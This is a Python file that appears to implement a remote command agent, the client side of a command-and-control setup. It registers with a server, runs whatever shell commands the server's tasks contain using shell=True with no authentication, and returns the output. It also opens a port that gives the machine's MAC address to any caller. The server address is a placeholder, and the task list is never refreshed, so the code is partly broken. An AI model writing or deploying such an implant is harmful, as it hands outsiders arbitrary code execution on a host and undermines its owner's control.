import subprocess
import threading
import requests
import socket
import time
import uuid

def get_mac_address():
    mac = uuid.getnode()
    return ':'.join(f'{(mac >> ele) & 0xff:02x}' for ele in range(40, -1, -8))

def execute_command(command) -> dict:
    try:
        result = subprocess.run(command, shell=True, text=True, capture_output=True, check=True)

        return {
            "success": True,
            "output": result.stdout.strip(),
            "stderr": result.stderr.strip(),
        }
    except subprocess.CalledProcessError as e:
        return {
            "success": False,
            "output": e.stdout.strip() if e.stdout else "",
            "stderr": e.stderr.strip() if e.stderr else "Error while execute command.",
        }

def register_agent(api_url, agent_id):
    try:
        response = requests.post(f"{api_url}/register", json={"agent_id": agent_id})
        response.raise_for_status()
        print("Logged Agent Successfully.")
        return response.json()
    except requests.RequestException as e:
        print(f"Agent log error: {e}")
        return None

def send_task_result(api_url, agent_id, task_id, result):
    try:
        requests.post(f"{api_url}/task-result", json={
            "agent_id": agent_id,
            "task_id": task_id,
            "result": result
        })
    except requests.RequestException as e:
        print(f"Task reporting sending error: {e}")

def start_local_scanner(port, max_connections=None):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(("0.0.0.0", port))
    server.listen(1)
    print(f"Available Agent in {port} port.")

    connections_handled = 0
    mac_address = get_mac_address()

    while True:
        conn, addr = server.accept()
        print(f"Received Connection {addr}.")

        conn.sendall(mac_address.encode('utf-8'))

        connections_handled += 1
        if max_connections and connections_handled >= max_connections:
            print("Connections limit. Stopping Server.")
            break

def main():
    api_url = "super_support"
    retry_interval = 5
    agent_id = "001"
    port = 5310

    threading.Thread(target=start_local_scanner, args=(port,), daemon=True).start()

    while True:
        api_config = register_agent(api_url, agent_id)
        if api_config:
            break
        time.sleep(retry_interval)

    while True:
        tasks = api_config.get("tasks", [])
        for task in tasks:
            result = execute_command(task["command"])
            send_task_result(api_url, agent_id, task["id"], result)

        time.sleep(retry_interval)

if __name__ == "__main__":
    main()